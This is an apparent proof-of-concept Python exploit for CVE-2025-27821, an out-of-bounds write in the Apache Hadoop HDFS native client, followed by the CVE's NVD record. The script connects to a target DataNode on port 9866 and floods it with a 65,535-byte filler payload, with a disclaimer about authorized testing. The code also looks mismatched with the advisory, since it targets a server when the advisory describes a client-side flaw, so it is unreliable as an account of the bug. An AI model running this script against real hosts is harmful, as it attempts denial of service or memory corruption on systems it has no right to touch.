CVE-2025-27821

# CVE-2025-27821 PoC - Apache Hadoop HDFS Out-of-bounds Write # This PoC demonstrates the vulnerability in HDFS native client # Note: This is for educational and authorized testing purposes only import socket import struct import sys def create_malicious_packet(): """Generate a malicious HDFS packet that triggers OOB write""" # HDFS RPC header header = b'\x00' * 4 # Malicious data that causes buffer overflow # This payload targets the HDFS native client memory handling payload_size = 65535 malicious_data = b'A' * payload_size # Craft the exploit packet packet = header + malicious_data return packet def send_exploit(target_host, target_port=9866): """Send the exploit payload to HDFS DataNode""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending exploit payload to {target_host}:{target_port}") packet = create_malicious_packet() sock.send(packet) print("[*] Payload sent successfully") print("[*] Check for signs of memory corruption or crash") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

{"cve": {"id": "CVE-2025-27821", "sourceIdentifier": "[email protected]", "published": "2026-01-26T10:16:05.033", "lastModified": "2026-01-27T20:30:26.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds Write vulnerability in Apache Hadoop HDFS native client.\n\nThis issue affects Apache Hadoop: from 3.2.0 before 3.4.2.\n\nUsers are recommended to upgrade to version 3.4.2, which fixes the issue."}, {"lang": "es", "value": "Vulnerabilidad de escritura fuera de límites en el cliente nativo de Apache Hadoop HDFS.\n\nEste problema afecta a Apache Hadoop: desde la versión 3.2.0 hasta antes de la 3.4.2.\n\nSe recomienda a los usuarios actualizar a la versión 3.4.2, que corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:hadoop:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.4.2", "matchCriteriaId": "4EED8AAC-78E8-4337-97C1-7C8AAB2E7376"}]}]}], "references": [{"url": "https://lists.apache.org/thread/kwjhyyx0wl2z9b0mw0styjk0hhdbyplh", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/23/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}